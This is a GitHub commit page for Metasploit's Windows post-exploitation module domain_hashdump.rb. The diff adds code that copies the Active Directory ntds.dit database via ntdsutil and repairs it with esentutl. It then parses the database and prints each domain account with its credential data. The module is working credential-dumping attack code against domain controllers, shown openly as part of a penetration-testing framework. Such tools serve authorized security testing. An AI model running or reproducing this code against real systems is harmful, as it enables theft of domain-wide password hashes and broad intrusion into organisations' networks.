Skip to content

Commit 2100404

Browse files
David MaloneyDavid Maloney
authored andcommitted
begin parsing of the database
clean up and begin aprsing the database after we have copied it MSP-12358
1 parent 0dfd422 commit 2100404

File tree

1 file changed

+15
-0
lines changed

1 file changed

+15
-0
lines changed

modules/post/windows/gather/credentials/domain_hashdump.rb

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,7 @@
66
require 'msf/core'
77
require 'rex'
88
require 'msf/core/auxiliary/report'
9+
require 'metasploit/framework/ntds/parser'
910

1011
class Metasploit3 < Msf::Post
1112
include Msf::Post::Windows::Registry
@@ -32,6 +33,14 @@ def initialize(info={})
3233
def run
3334
if preconditions_met?
3435
ntds_file = copy_database_file
36+
unless ntds_file.nil?
37+
print_status "Repairing NTDS database after copy..."
38+
print_status repair_ntds(ntds_file)
39+
ntds_parser = Metasploit::Framework::NTDS::Parser.new(client, ntds_file)
40+
ntds_parser.each_account do |ad_account|
41+
print_good ad_account.to_s
42+
end
43+
end
3544
end
3645
end
3746

@@ -65,6 +74,7 @@ def ntdsutil_method
6574
result = cmd_exec("ntdsutil.exe", command_arguments)
6675
if result.include? "IFM media created successfully"
6776
file_path = "#{tmp_path}\\Active Directory\\ntds.dit"
77+
print_status "NTDS database copied to #{file_path}"
6878
else
6979
print_error "There was an error copying the ntds.dit file!"
7080
file_path = nil
@@ -94,6 +104,11 @@ def preconditions_met?
94104
return status
95105
end
96106

107+
def repair_ntds(path='')
108+
arguments = "/p /o \"#{path}\""
109+
cmd_exec("esentutl", arguments)
110+
end
111+
97112
def vss_method
98113

99114
end

0 commit comments

Comments
 (0)